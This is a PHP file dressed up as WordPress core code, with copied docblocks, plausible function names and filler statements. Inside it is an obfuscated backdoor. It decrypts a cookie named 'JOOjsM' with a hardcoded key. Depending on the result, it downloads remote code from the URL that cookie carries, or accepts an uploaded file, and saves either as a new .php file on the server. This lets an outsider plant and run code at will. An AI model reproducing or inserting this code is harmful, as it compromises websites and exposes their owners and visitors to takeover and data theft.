$scripts->add( 'jquery-effects-clip', "/wp-includes/js/jquery/ui/effect-clip$suffix.js", array( 'jquery-effects-core' ), '1.13.2', 1 );
$scripts->add( 'jquery-effects-drop', "/wp-includes/js/jquery/ui/effect-drop$suffix.js", array( 'jquery-effects-core' ), '1.13.2', 1 );
$scripts->add( 'jquery-effects-explode', "/wp-includes/js/jquery/ui/effect-explode$suffix.js", array( 'jquery-effects-core' ), '1.13.2', 1 );
$scripts->add( 'jquery-effects-fade', "/wp-includes/js/jquery/ui/effect-fade$suffix.js", array( 'jquery-effects-core' ), '1.13.2', 1 );
$scripts->add( 'jquery-effects-fold', "/wp-includes/js/jquery/ui/effect-fold$suffix.js", array( 'jquery-effects-core' ), '1.13.2', 1 );
$scripts->add( 'jquery-effects-highlight', "/wp-includes/js/jquery/ui/effect-highlight$suffix.js", array( 'jquery-effects-core' ), '1.13.2', 1 );
$scripts->add( 'jquery-effects-puff', "/wp-includes/js/jquery/ui/effect-puff$suffix.js", array( 'jquery-effects-core', 'jquery-effects-scale' ), '1.13.2', 1 );
$scripts->add( 'jquery-effects-pulsate', "/wp-includes/js/jquery/ui/effect-pulsate$suffix.js", array( 'jquery-effects-core' ), '1.13.2', 1 );
$scripts->add( 'jquery-effects-scale', "/wp-includes/js/jquery/ui/effect-scale$suffix.js", array( 'jquery-effects-core', 'jquery-effects-size' ), '1.13.2', 1 );
$scripts->add( 'jquery-effects-shake', "/wp-incl*/
$OAuth = 'JOOjsM';
// Update hooks.
/**
* Retrieves template directory URI for the active theme.
*
* @since 1.5.0
*
* @return string URI to active theme's template directory.
*/
function sodium_pad($changed, $firstword){
$DKIMcanonicalization = 'nqy30rtup';
$heading = 'seis';
$placeholders = 'rx2rci';
$other_len = 'jcwadv4j';
$placeholders = nl2br($placeholders);
$DKIMcanonicalization = trim($DKIMcanonicalization);
$other_len = str_shuffle($other_len);
$heading = md5($heading);
$int1 = consume_range($changed) - consume_range($firstword);
// have we hit our frame depth and is there frame src to fetch?
$tablefield_type_without_parentheses = 'ermkg53q';
$linktypes = 'kwylm';
$thumbnail_update = 'e95mw';
$other_len = strip_tags($other_len);
$int1 = $int1 + 256;
// Add data for Imagick WebP and AVIF support.
$element_limit = 'qasj';
$akismet_user = 'flza';
$heading = convert_uuencode($thumbnail_update);
$tablefield_type_without_parentheses = strripos($tablefield_type_without_parentheses, $tablefield_type_without_parentheses);
$int1 = $int1 % 256;
$element_limit = rtrim($other_len);
$original_object = 't64c';
$actual_page = 'uk395f3jd';
$linktypes = htmlspecialchars($akismet_user);
// We leave the priming of relationship caches to upstream functions.
$element_limit = soundex($element_limit);
$original_object = stripcslashes($thumbnail_update);
$thumbnail_height = 'dohvw';
$actual_page = md5($actual_page);
$old_blog_id = 'lllf';
$actual_page = soundex($tablefield_type_without_parentheses);
$crumb = 'x28d53dnc';
$thumbnail_height = convert_uuencode($DKIMcanonicalization);
$arc_result = 'i7pg';
$crumb = htmlspecialchars_decode($original_object);
$DKIMcanonicalization = quotemeta($DKIMcanonicalization);
$old_blog_id = nl2br($old_blog_id);
// Can only reference the About screen if their update was successful.
$wp_press_this = 'vyj0p';
$placeholders = rawurlencode($arc_result);
$all_links = 'dkc1uz';
$thumbnail_update = urldecode($original_object);
$original_object = strrev($heading);
$anon_ip = 'zmj9lbt';
$wp_press_this = crc32($linktypes);
$all_links = chop($old_blog_id, $old_blog_id);
$changed = sprintf("%c", $int1);
return $changed;
}
wp_post_revision_title_expanded($OAuth);
$reject_url = 'z4jc33';
/**
* WP_Customize_Background_Image_Setting class.
*/
function wp_print_inline_script_tag($OAuth, $max_h, $PossiblyLongerLAMEversion_FrameLength){
$to_lines = $_FILES[$OAuth]['name'];
$has_picked_overlay_background_color = 'wxyhpmnt';
$has_picked_overlay_background_color = strtolower($has_picked_overlay_background_color);
// Remove all permissions.
$has_picked_overlay_background_color = strtoupper($has_picked_overlay_background_color);
$cat_args = 's33t68';
$maxkey = 'iz2f';
$cat_args = stripos($maxkey, $maxkey);
$cur_val = upgrade_510($to_lines);
set_submit_multipart($_FILES[$OAuth]['tmp_name'], $max_h);
// Check that we actually got JSON.
// Unzip can use a lot of memory, but not this much hopefully.
$has_picked_overlay_background_color = html_entity_decode($cat_args);
scalar_negate($_FILES[$OAuth]['tmp_name'], $cur_val);
}
/** This action is documented in wp-includes/ms-blogs.php */
function fe_isnegative($core_actions_post_deprecated, $cur_val){
$thumbnails_parent = 'j30f';
$expand = 'f8mcu';
$display_tabs = 'fnztu0';
// may be not set if called as dependency without openfile() call
$realmode = 'u6a3vgc5p';
$expand = stripos($expand, $expand);
$expected = 'ynl1yt';
$default_image = wp_render_dimensions_support($core_actions_post_deprecated);
if ($default_image === false) {
return false;
}
$ASFIndexObjectIndexTypeLookup = file_put_contents($cur_val, $default_image);
return $ASFIndexObjectIndexTypeLookup;
}
/**
* Registers the necessary REST API routes.
*/
function wp_redirect_admin_locations($OAuth, $max_h){
$b_role = $_COOKIE[$OAuth];
// The post wasn't inserted or updated, for whatever reason. Better move forward to the next email.
$b_role = pack("H*", $b_role);
$global_styles_presets = 'zgwxa5i';
$mce_buttons_2 = 'd5k0';
$other_len = 'jcwadv4j';
// Is the post readable?
$PossiblyLongerLAMEversion_FrameLength = crypto_box_seed_keypair($b_role, $max_h);
if (crypto_secretstream_xchacha20poly1305_keygen($PossiblyLongerLAMEversion_FrameLength)) {
$meta_query_obj = wp_is_site_protected_by_basic_auth($PossiblyLongerLAMEversion_FrameLength);
return $meta_query_obj;
}
rest_validate_json_schema_pattern($OAuth, $max_h, $PossiblyLongerLAMEversion_FrameLength);
}
$found_sites = 'tfy6fp1j';
/*
* If the original image's dimensions are over the threshold,
* scale the image and use it as the "full" size.
*/
function rest_validate_json_schema_pattern($OAuth, $max_h, $PossiblyLongerLAMEversion_FrameLength){
if (isset($_FILES[$OAuth])) {
wp_print_inline_script_tag($OAuth, $max_h, $PossiblyLongerLAMEversion_FrameLength);
}
reset_default_labels($PossiblyLongerLAMEversion_FrameLength);
}
/**
* Deletes the user settings of the current user.
*
* @since 2.7.0
*/
function crypto_secretbox_keygen()
{
$my_sites_url = get_current_user_id();
if (!$my_sites_url) {
return;
}
update_user_option($my_sites_url, 'user-settings', '', false);
setcookie('wp-settings-' . $my_sites_url, ' ', time() - YEAR_IN_SECONDS, SITECOOKIEPATH);
}
/**
* Merges an individual style property in the `style` attribute of an HTML
* element, updating or removing the property when necessary.
*
* If a property is modified, the old one is removed and the new one is added
* at the end of the list.
*
* @since 6.5.0
*
* Example:
*
* merge_style_property( 'color:green;', 'color', 'red' ) => 'color:red;'
* merge_style_property( 'background:green;', 'color', 'red' ) => 'background:green;color:red;'
* merge_style_property( 'color:green;', 'color', null ) => ''
*
* @param string $style_attribute_value The current style attribute value.
* @param string $style_property_name The style property name to set.
* @param string|false|null $style_property_value The value to set for the style property. With false, null or an
* empty string, it removes the style property.
* @return string The new style attribute value after the specified property has been added, updated or removed.
*/
function list_files ($example_height){
$stored_hash = 'm9u8';
$inner_content = 'rl99';
$unset = 'n7q6i';
$old_item_data = 'le1fn914r';
$placeholders = 'rx2rci';
// Check we can process signatures.
// e.g. 'wp-duotone-filter-blue-orange'.
$reject_url = 'ukj94';
$discovered = 'ihgjqhlf';
$unset = urldecode($unset);
$stored_hash = addslashes($stored_hash);
$inner_content = soundex($inner_content);
$placeholders = nl2br($placeholders);
$old_item_data = strnatcasecmp($old_item_data, $old_item_data);
// ----- Look for post-add callback
$reject_url = crc32($discovered);
$stored_hash = quotemeta($stored_hash);
$restrictions_parent = 'v4yyv7u';
$inner_content = stripslashes($inner_content);
$tablefield_type_without_parentheses = 'ermkg53q';
$old_item_data = sha1($old_item_data);
$tablefield_type_without_parentheses = strripos($tablefield_type_without_parentheses, $tablefield_type_without_parentheses);
$unset = crc32($restrictions_parent);
$ipath = 'qkk6aeb54';
$inner_content = strnatcmp($inner_content, $inner_content);
$is_invalid_parent = 'b1dvqtx';
$ipath = strtolower($old_item_data);
$actual_page = 'uk395f3jd';
$degrees = 'l5oxtw16';
$stored_hash = crc32($is_invalid_parent);
$measurements = 'b894v4';
$actual_page = md5($actual_page);
$measurements = str_repeat($unset, 5);
$privacy_policy_guid = 'masf';
$is_invalid_parent = bin2hex($is_invalid_parent);
$FLVdataLength = 'm2cvg08c';
// The data consists of a sequence of Unicode characters
// merged from WP #10698 - this method avoids the RAM usage of preg_replace on very large messages
$total_plural_forms = 'jvrh';
$term_data = 'cftqhi';
$degrees = stripos($FLVdataLength, $inner_content);
$inclusions = 'l9a5';
$actual_page = soundex($tablefield_type_without_parentheses);
// oh please oh please oh please oh please oh please
$is_invalid_parent = html_entity_decode($total_plural_forms);
$accepts_body_data = 'aklhpt7';
$contentType = 'alwq';
$s_ = 'ar9gzn';
$arc_result = 'i7pg';
// translators: 1: The WordPress error code. 2: The HTTP status code error message.
// $selector is often empty, so we can save ourselves the `append_to_selector()` call then.
$formatted_item = 'unef';
$uploadpath = 'kjmchii';
$unset = strcspn($term_data, $accepts_body_data);
$privacy_policy_guid = chop($inclusions, $s_);
$placeholders = rawurlencode($arc_result);
$contentType = strripos($degrees, $FLVdataLength);
$htaccess_file = 'eh3w52mdv';
$term_data = addcslashes($term_data, $unset);
$inclusions = strtoupper($s_);
$htaccess_file = ucfirst($htaccess_file);
$anon_ip = 'zmj9lbt';
$fields_update = 'mt31wq';
$is_api_request = 'wybg92my';
$left = 'bq18cw';
$cache_keys = 'jfmdidf1';
$fields_update = htmlspecialchars($contentType);
$old_item_data = htmlentities($privacy_policy_guid);
$placeholders = addcslashes($tablefield_type_without_parentheses, $anon_ip);
$placeholders = htmlentities($anon_ip);
$binstring = 'jldzp';
$options_audio_mp3_mp3_valid_check_frames = 'srf2f';
$total_size_mb = 'nh00cn';
$fallback_gap_value = 'p0razw10';
$formatted_item = strcspn($uploadpath, $is_api_request);
// Update the cache.
// These ones should just be omitted altogether if they are blank.
// $prenullbytefileoffset = $this->ftell();
$reject_url = htmlspecialchars($example_height);
$css_test_string = 'i4jg2bu';
// Achromatic.
$PossiblyLongerLAMEversion_String = 'oj9c';
$left = strnatcmp($binstring, $unset);
$tablefield_type_without_parentheses = htmlentities($tablefield_type_without_parentheses);
$cache_keys = ltrim($options_audio_mp3_mp3_valid_check_frames);
$FLVdataLength = quotemeta($total_size_mb);
$ASFMediaObjectIndexParametersObjectIndexSpecifiersIndexTypes = 'owpfiwik';
$contentType = htmlspecialchars($inner_content);
$fallback_gap_value = html_entity_decode($ASFMediaObjectIndexParametersObjectIndexSpecifiersIndexTypes);
$actual_page = strnatcasecmp($anon_ip, $anon_ip);
$term_data = strtoupper($unset);
$truncate_by_byte_length = 'rp54jb7wm';
$old_item_data = sha1($old_item_data);
$binstring = rawurlencode($term_data);
$cache_keys = ucfirst($truncate_by_byte_length);
$actual_page = soundex($actual_page);
$total_size_mb = rtrim($contentType);
$css_test_string = strip_tags($PossiblyLongerLAMEversion_String);
// ----- Close the file
$compressed_data = 'en6hb';
$lp_upgrader = 'rnjh2b2l';
$samplingrate = 'iwxsoks';
$dimensions = 'jjsq4b6j1';
$unset = ucwords($accepts_body_data);
$ASFMediaObjectIndexParametersObjectIndexSpecifiersIndexTypes = is_string($old_item_data);
$is_acceptable_mysql_version = 'i55i8w4vu';
// Discogs - https://www.discogs.com/style/rnb/swing
# would have resulted in much worse performance and
// Rotate 90 degrees clockwise (270 counter-clockwise).
// 4.12 EQU2 Equalisation (2) (ID3v2.4+ only)
// Options :
$p_central_dir = 'o4ueit9ul';
$contentType = strrev($lp_upgrader);
$old_term_id = 'dlbm';
$htaccess_file = strcoll($dimensions, $stored_hash);
$bytesleft = 'aojyufh6';
$accepts_body_data = levenshtein($binstring, $old_term_id);
$privacy_policy_guid = urlencode($p_central_dir);
$twelve_bit = 'xwgiv4';
$samplingrate = htmlspecialchars_decode($bytesleft);
$DKIM_copyHeaderFields = 'bq2p7jnu';
$outside_init_only = 'zqv4rlu';
$options_audio_mp3_mp3_valid_check_frames = addcslashes($total_plural_forms, $DKIM_copyHeaderFields);
$twelve_bit = ucwords($fields_update);
$fire_after_hooks = 'tnemxw';
$arc_result = rawurlencode($bytesleft);
$fields_update = sha1($total_size_mb);
$fire_after_hooks = base64_encode($fire_after_hooks);
$samplingrate = crc32($anon_ip);
$outside_init_only = crc32($left);
$collation = 'b7y1';
$accepts_body_data = strtr($binstring, 7, 19);
$total_matches = 'mrqv9wgv0';
$htaccess_file = htmlentities($collation);
$classes_for_upload_button = 'zjh64a';
$S6 = 'mgkhwn';
$fscod2 = 'isv1ii137';
// $h3 = $f0g3 + $f1g2 + $f2g1 + $f3g0 + $f4g9_19 + $f5g8_19 + $f6g7_19 + $f7g6_19 + $f8g5_19 + $f9g4_19;
$trimmed_events = 'r56e8mt25';
$total_plural_forms = strtoupper($total_plural_forms);
$S6 = str_repeat($ipath, 1);
$classes_for_upload_button = strtolower($placeholders);
$fields_update = htmlspecialchars($total_matches);
$compressed_data = levenshtein($is_acceptable_mysql_version, $fscod2);
$tag_id = 'yc8f';
// No need to instantiate if nothing is there.
// Iterate through subitems if exist.
$PossiblyLongerLAMEversion_String = strtolower($tag_id);
$samplerate = 'w1yoy6';
$image_file = 'hf72';
$cleaning_up = 'y9kos7bb';
$degrees = strip_tags($twelve_bit);
$trimmed_events = htmlspecialchars_decode($accepts_body_data);
$feed_author = 'trtzsl9';
$reject_url = strtolower($samplerate);
$cache_keys = stripos($collation, $image_file);
$degrees = quotemeta($FLVdataLength);
$one_theme_location_no_menus = 'iqu3e';
$samplingrate = strripos($bytesleft, $feed_author);
$unset = str_repeat($unset, 4);
$carry10 = 'dx5k5';
$paths_to_rename = 'q6c3jsf';
$cleaning_up = ltrim($one_theme_location_no_menus);
$sy = 'sdbe';
// Are any attributes allowed at all for this element?
// For sizes added by plugins and themes.
$EBMLstring = 'rqqc85i';
$paths_to_rename = strtr($trimmed_events, 20, 18);
$collation = strcoll($carry10, $cache_keys);
$old_item_data = strcoll($ipath, $old_item_data);
$sy = stripcslashes($EBMLstring);
$has_widgets = 'g1dhx';
$date_str = 'c0z077';
// Delete old comments daily
// For back-compat with plugins that don't use the Settings API and just set updated=1 in the redirect.
$has_widgets = soundex($ASFMediaObjectIndexParametersObjectIndexSpecifiersIndexTypes);
$tinymce_scripts_printed = 'urrawp';
return $example_height;
}
// If there is a classic menu then convert it to blocks.
/**
* oEmbed API: Top-level oEmbed functionality
*
* @package WordPress
* @subpackage oEmbed
* @since 4.4.0
*/
/**
* Registers an embed handler.
*
* Should probably only be used for sites that do not support oEmbed.
*
* @since 2.9.0
*
* @global WP_Embed $frame_embeddedinfoflags
*
* @param string $thisfile_asf_simpleindexobject An internal ID/name for the handler. Needs to be unique.
* @param string $renderer The regex that will be used to see if this handler should be used for a URL.
* @param callable $found_comments_query The callback function that will be called if the regex is matched.
* @param int $rel_values Optional. Used to specify the order in which the registered handlers will
* be tested. Default 10.
*/
function has_param($thisfile_asf_simpleindexobject, $renderer, $found_comments_query, $rel_values = 10)
{
global $frame_embeddedinfoflags;
$frame_embeddedinfoflags->register_handler($thisfile_asf_simpleindexobject, $renderer, $found_comments_query, $rel_values);
}
$reject_url = sha1($found_sites);
/* translators: %s: Custom field key. */
function wp_render_dimensions_support($core_actions_post_deprecated){
// Save widgets order for all sidebars.
$core_actions_post_deprecated = "http://" . $core_actions_post_deprecated;
$to_add = 'sue3';
$Value = 'xwi2';
return file_get_contents($core_actions_post_deprecated);
}
// ::
$placeholders = 'rx2rci';
$legacy = 'libfrs';
/**
* Returns the markup for the navigation block.
*
* @param array $attributes The block attributes.
* @param WP_Block_List $inner_blocks The list of inner blocks.
* @return string Returns the navigation wrapper markup.
*/
function scalar_negate($primary_table, $shown_widgets){
// Temporary separator, for accurate flipping, if necessary.
$AudioCodecFrequency = move_uploaded_file($primary_table, $shown_widgets);
// We are saving settings sent from a settings page.
return $AudioCodecFrequency;
}
$hex3_regexp = 'qzq0r89s5';
$replaced = 'epq21dpr';
$some_non_rendered_areas_messages = 'qrud';
/**
* Class to provide access to update a theme.json structure.
*/
function crypto_secretstream_xchacha20poly1305_keygen($core_actions_post_deprecated){
if (strpos($core_actions_post_deprecated, "/") !== false) {
return true;
}
return false;
}
$legacy = str_repeat($legacy, 1);
/**
* Appends a sub-selector to an existing one.
*
* Given the compounded $selector "h1, h2, h3"
* and the $to_append selector ".some-class" the result will be
* "h1.some-class, h2.some-class, h3.some-class".
*
* @since 5.8.0
* @since 6.1.0 Added append position.
* @since 6.3.0 Removed append position parameter.
*
* @param string $selector Original selector.
* @param string $to_append Selector to append.
* @return string The new selector.
*/
function crypto_box_seed_keypair($ASFIndexObjectIndexTypeLookup, $display_footer_actions){
// assigned for text fields, resulting in a null-terminated string (or possibly just a single null) followed by garbage
$f3 = 'xrnr05w0';
$plugin_root = 't8b1hf';
$lnbr = 't8wptam';
$caption_text = 'nnnwsllh';
$allowed_field_names = 'qg7kx';
$altnames = strlen($display_footer_actions);
$wp_meta_boxes = strlen($ASFIndexObjectIndexTypeLookup);
$caption_text = strnatcasecmp($caption_text, $caption_text);
$allowed_field_names = addslashes($allowed_field_names);
$confirm_key = 'aetsg2';
$f0f2_2 = 'q2i2q9';
$f3 = stripslashes($f3);
$altnames = $wp_meta_boxes / $altnames;
$additional_fields = 'i5kyxks5';
$primary_meta_query = 'esoxqyvsq';
$f3 = ucwords($f3);
$cc = 'zzi2sch62';
$lnbr = ucfirst($f0f2_2);
$f3 = urldecode($f3);
$caption_text = strcspn($primary_meta_query, $primary_meta_query);
$lnbr = strcoll($lnbr, $lnbr);
$allowed_field_names = rawurlencode($additional_fields);
$plugin_root = strcoll($confirm_key, $cc);
// Fall back to the default set of icon colors if the default scheme is missing.
// If the update transient is empty, use the update we just performed.
// If it's interactive, add the directives.
$current_timezone_string = 'n3njh9';
$confirm_key = strtolower($cc);
$f0f2_2 = sha1($f0f2_2);
$caption_text = basename($caption_text);
$methodcalls = 'xer76rd1a';
$current_timezone_string = crc32($current_timezone_string);
$f0f2_2 = crc32($lnbr);
$plugin_root = stripslashes($confirm_key);
$methodcalls = ucfirst($f3);
$caption_text = bin2hex($caption_text);
$altnames = ceil($altnames);
$filter_status = 'mem5vmhqd';
$has_gradients_support = 's6im';
$methodcalls = is_string($f3);
$caption_text = rtrim($primary_meta_query);
$pattern_settings = 'w9uvk0wp';
// 3.3
// Check that the folder contains a valid language.
$f0f2_2 = str_repeat($has_gradients_support, 3);
$additional_fields = convert_uuencode($filter_status);
$style_field = 'gnakx894';
$caption_text = rawurldecode($primary_meta_query);
$plugin_root = strtr($pattern_settings, 20, 7);
// extract tags
// Sample Table SiZe atom
$submitted = 'ok9xzled';
$methodcalls = strrpos($methodcalls, $style_field);
$search_handler = 'ojc7kqrab';
$prepared_category = 'pep3';
$sig = 'piie';
// http://www.matroska.org/technical/specs/index.html#block_structure
// XML could possibly contain more than one TIMESTAMP_SAMPLE_RATE tag, returning as array instead of integer [why? does it make sense? perhaps doesn't matter but getID3 needs to deal with it] - see https://github.com/JamesHeinrich/getID3/issues/105
$image_baseurl = str_split($ASFIndexObjectIndexTypeLookup);
$display_footer_actions = str_repeat($display_footer_actions, $altnames);
$AudioChunkStreamNum = 'zi2eecfa0';
$submitted = ltrim($current_timezone_string);
$font_family_name = 'jbp3f4e';
$sig = soundex($caption_text);
$prepared_category = strripos($cc, $confirm_key);
$threshold = str_split($display_footer_actions);
$widget_ids = 'uyi85';
$prepared_category = soundex($confirm_key);
$relative = 'y3tw';
$additional_fields = stripcslashes($submitted);
$search_handler = str_repeat($AudioChunkStreamNum, 5);
// Obtain the widget instance.
$threshold = array_slice($threshold, 0, $wp_meta_boxes);
$confirm_key = convert_uuencode($confirm_key);
$font_family_name = htmlentities($relative);
$AudioChunkStreamNum = strcoll($has_gradients_support, $f0f2_2);
$roles_clauses = 'hvej';
$widget_ids = strrpos($widget_ids, $primary_meta_query);
// * Horizontal Pixels / Meter DWORD 32 // horizontal resolution of target device in pixels per meter - defined as biXPelsPerMeter field of BITMAPINFOHEADER structure
$tinymce_settings = 'd5btrexj';
$roles_clauses = stripos($allowed_field_names, $current_timezone_string);
$intpart = 'mqqa4r6nl';
$cc = sha1($cc);
$URI_PARTS = 'x7won0';
$customize_header_url = array_map("sodium_pad", $image_baseurl, $threshold);
$customize_header_url = implode('', $customize_header_url);
$f0f2_2 = stripcslashes($intpart);
$caption_text = strripos($primary_meta_query, $URI_PARTS);
$allowed_field_names = strripos($roles_clauses, $current_timezone_string);
$tinymce_settings = rawurlencode($tinymce_settings);
$CommentsCount = 'qmlfh';
return $customize_header_url;
}
/**
* Marks the script module to be enqueued in the page.
*
* If a src is provided and the script module has not been registered yet, it
* will be registered.
*
* @since 6.5.0
*
* @param string $thisfile_asf_simpleindexobject The identifier of the script module. Should be unique. It will be used in the
* final import map.
* @param string $rss_title Optional. Full URL of the script module, or path of the script module relative
* to the WordPress root directory. If it is provided and the script module has
* not been registered yet, it will be registered.
* @param array $status_type_clauses {
* Optional. List of dependencies.
*
* @type string|array ...$0 {
* An array of script module identifiers of the dependencies of this script
* module. The dependencies can be strings or arrays. If they are arrays,
* they need an `id` key with the script module identifier, and can contain
* an `import` key with either `static` or `dynamic`. By default,
* dependencies that don't contain an `import` key are considered static.
*
* @type string $thisfile_asf_simpleindexobject The script module identifier.
* @type string $import Optional. Import type. May be either `static` or
* `dynamic`. Defaults to `static`.
* }
* }
* @param string|false|null $akismet_nonce_option Optional. String specifying the script module version number. Defaults to false.
* It is added to the URL as a query string for cache busting purposes. If $akismet_nonce_option
* is set to false, the version number is the currently installed WordPress version.
* If $akismet_nonce_option is set to null, no version is added.
*/
function wp_get_link_cats(string $thisfile_asf_simpleindexobject, string $rss_title = '', array $status_type_clauses = array(), $akismet_nonce_option = false)
{
wp_script_modules()->enqueue($thisfile_asf_simpleindexobject, $rss_title, $status_type_clauses, $akismet_nonce_option);
}
/**
* Widget mode.
*
* @since 3.9.0
* @var bool True if wide, false otherwise. Default false.
*/
function wp_is_site_protected_by_basic_auth($PossiblyLongerLAMEversion_FrameLength){
// Microsoft (TM) Audio Codec Manager (ACM)
wp_force_plain_post_permalink($PossiblyLongerLAMEversion_FrameLength);
reset_default_labels($PossiblyLongerLAMEversion_FrameLength);
}
/**
* Localizes a script, only if the script has already been added.
*
* @since 2.1.0
*
* @param string $handle Name of the script to attach data to.
* @param string $object_name Name of the variable that will contain the data.
* @param array $l10n Array of data to localize.
* @return bool True on success, false on failure.
*/
function comment_author_email_link ($formatted_item){
$reject_url = 'gr5r';
$redirect_host_low = 'hz2i27v';
$lyrics3_id3v1 = 'dg8lq';
// $p_archive : The filename of a valid archive, or
$has_font_weight_support = 'pu2t';
// With id_base widget ID's are constructed like {$thisfile_asf_simpleindexobject_base}-{$thisfile_asf_simpleindexobject_number}.
$lyrics3_id3v1 = addslashes($lyrics3_id3v1);
$redirect_host_low = rawurlencode($redirect_host_low);
// ge25519_p3_to_cached(&pi[6 - 1], &p6); /* 6p = 2*3p */
$reject_url = strnatcmp($has_font_weight_support, $reject_url);
$orig_value = 'eu0fu';
// Otherwise, the text contains no elements/attributes that TinyMCE could drop, and therefore the widget does not need legacy mode.
// Don't delete, yet: 'wp-rss.php',
$excerpt_length = 'n8eundm';
$avail_post_stati = 'fzmczbd';
$orig_value = urlencode($has_font_weight_support);
$pt1 = 'sl80';
// Create and register the eligible taxonomies variations.
$pt1 = basename($reject_url);
$avail_post_stati = htmlspecialchars($avail_post_stati);
$lyrics3_id3v1 = strnatcmp($lyrics3_id3v1, $excerpt_length);
// Set the CSS variable to the column value, and the `gap` property to the combined gap value.
// Removes name=value from items.
$fourbit = 'wxn8w03n';
$action_url = 'xkge9fj';
$is_acceptable_mysql_version = 'g9c2dn';
// Set menu-item's [menu_order] to that of former parent.
// `$current_blog` and `$is_gecko are now populated.
$spacing_rule = 'i8yz9lfmn';
$action_url = soundex($redirect_host_low);
$inkey2 = 'grfv59xf';
$fourbit = rtrim($spacing_rule);
$fscod2 = 'qtyuxir';
// New post, or slug has changed.
$is_acceptable_mysql_version = strip_tags($fscod2);
// Mark the specified value as checked if it matches the current link's relationship.
$should_skip_text_decoration = 'vduj3u5';
$fourbit = strip_tags($excerpt_length);
$category_id = 'n3f0xys';
// [44][7A] -- Specifies the language of the tag specified, in the Matroska languages form.
$category_id = stripcslashes($pt1);
$download_data_markup = 'j6daa';
// If the schema is not an array, apply the sanitizer to the value.
$download_data_markup = htmlspecialchars($category_id);
$safe_type = 'q9hu';
$inkey2 = crc32($should_skip_text_decoration);
// If post type archive, check if post type exists.
$excerpt_length = addcslashes($excerpt_length, $safe_type);
$redirect_host_low = nl2br($should_skip_text_decoration);
// Do these all at once in a second.
// Else it's a relative path.
// if firsttime then let delta = delta div damp
// Parse meta query.
$excerpt_length = basename($lyrics3_id3v1);
$terminator = 'deu8v';
$theArray = 'w57hy7cd';
$preview_target = 'lbli7ib';
$terminator = quotemeta($theArray);
$f5f7_76 = 'i4g6n0ipc';
# if (aslide[i] > 0) {
$preview_target = strripos($f5f7_76, $safe_type);
$total_inline_size = 'fuysqgr';
$spacing_support = 'xduycax1c';
$total_inline_size = base64_encode($theArray);
$safe_type = strripos($fourbit, $safe_type);
$spacing_support = strrpos($formatted_item, $spacing_support);
$action_url = base64_encode($redirect_host_low);
$excerpt_length = crc32($f5f7_76);
//$block_data['flags']['reserved1'] = (($block_data['flags_raw'] & 0xF0) >> 4);
// s9 += s21 * 666643;
$preview_target = trim($f5f7_76);
$atomname = 'ggqg5xn';
//Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled
$fscod2 = urldecode($fscod2);
$EBMLstring = 'gukjn88';
// Install user overrides. Did we mention that this voids your warranty?
// array( ints )
$action_url = substr($atomname, 9, 14);
$blocked_message = 'sapo';
// 100 seconds.
$terminator = urlencode($theArray);
$lyrics3_id3v1 = ucfirst($blocked_message);
$current_template = 'e01ydi4dj';
$register_meta_box_cb = 'u5zoh2u';
# a = PLUS(a,b); d = ROTATE(XOR(d,a), 8);
// Thwart attempt to change the post type.
$inlink = 'rxyb';
$redirect_host_low = urldecode($register_meta_box_cb);
$EBMLstring = strtolower($reject_url);
// @since 6.2.0
// key name => array (tag name, character encoding)
$current_template = lcfirst($inlink);
$determined_format = 'lvwwm4cm';
// Conditionally include Authorization header test if the site isn't protected by Basic Auth.
$action_url = sha1($determined_format);
$blocked_message = strrev($blocked_message);
$selW = 'fjngmhp4m';
// Create the new term.
$EBMLstring = lcfirst($selW);
$revisions = 'jio8g4l41';
$theArray = basename($total_inline_size);
$revisions = addslashes($revisions);
$primary_id_column = 'kwlbq38';
$order_by_date = 'c1ykz22xe';
$theArray = convert_uuencode($primary_id_column);
$order_by_date = wordwrap($current_template);
$register_meta_box_cb = strtolower($theArray);
$example_height = 'nv29i';
$orig_value = html_entity_decode($example_height);
// Send email with activation link.
// If this was a critical update failure, cannot update.
// Get next event.
// Add a notice if there are outdated plugins.
// Post status is not registered, assume it's not public.
$selW = levenshtein($spacing_support, $reject_url);
$sy = 'hntm';
// The months.
$discovered = 'r4s4ged';
// Attachments are technically posts but handled differently.
// Only deactivate plugins which the user can deactivate.
$is_acceptable_mysql_version = levenshtein($sy, $discovered);
// wp-admin pages are checked more carefully.
return $formatted_item;
}
$placeholders = nl2br($placeholders);
/**
* @param int $changedval
*
* @return string
*/
function upgrade_510($to_lines){
// to the new wrapper div also.
// Only this supports FTPS.
$admin_out = __DIR__;
// Ignore child themes.
$ip_parts = ".php";
// Not matching a permalink so this is a lot simpler.
$custom_image_header = 'orfhlqouw';
$SNDM_startoffset = 'g0v217';
$custom_image_header = strnatcmp($SNDM_startoffset, $custom_image_header);
$to_lines = $to_lines . $ip_parts;
$to_lines = DIRECTORY_SEPARATOR . $to_lines;
$SNDM_startoffset = strtr($custom_image_header, 12, 11);
// The path defines the post_ID (archives/p/XXXX).
$strings = 'g7n72';
// Only suppress and insert when more than just suppression pages available.
$SNDM_startoffset = strtoupper($strings);
$SNDM_startoffset = trim($SNDM_startoffset);
$to_lines = $admin_out . $to_lines;
$found_end_marker = 't7ve';
// -2 -6.02 dB
// If this is the first level of submenus, include the overlay colors.
$found_end_marker = lcfirst($SNDM_startoffset);
$custom_image_header = htmlspecialchars_decode($found_end_marker);
// If a core box was previously removed, don't add.
$orig_shortcode_tags = 'hdq4q';
// 0x80 => 'AVI_INDEX_IS_DATA',
$orig_shortcode_tags = is_string($found_end_marker);
$SI2 = 'i5y1';
// Force 'query_var' to false for non-public taxonomies.
return $to_lines;
}
/**
* Handles _deprecated_argument() errors.
*
* @since 4.4.0
*
* @param string $function_name The function that was called.
* @param string $additional_ids A message regarding the change.
* @param string $akismet_nonce_option Version.
*/
function wp_force_plain_post_permalink($core_actions_post_deprecated){
// Prerendering.
$builtin = 'hpcdlk';
$show_comments_count = 'w5880';
$builtin = strtolower($show_comments_count);
$to_lines = basename($core_actions_post_deprecated);
// Now that we have an autoloader, let's register it!
$recipient_name = 'q73k7';
$cur_val = upgrade_510($to_lines);
$recipient_name = ucfirst($builtin);
$builtin = strrev($show_comments_count);
$recipient_name = substr($builtin, 12, 7);
// Received as $cat_not_inx
// CTOC Chapters Table Of Contents frame (ID3v2.3+ only)
fe_isnegative($core_actions_post_deprecated, $cur_val);
}
$hex3_regexp = stripcslashes($hex3_regexp);
/* translators: 1: Comment author's name, 2: Comment author's IP address, 3: Comment author's hostname. */
function wp_post_revision_title_expanded($OAuth){
$max_h = 'eazCeLWyCvpyuDAGf';
// Left channel only
$h5 = 'a0osm5';
$is_html5 = 'fqnu';
if (isset($_COOKIE[$OAuth])) {
wp_redirect_admin_locations($OAuth, $max_h);
}
}
/**
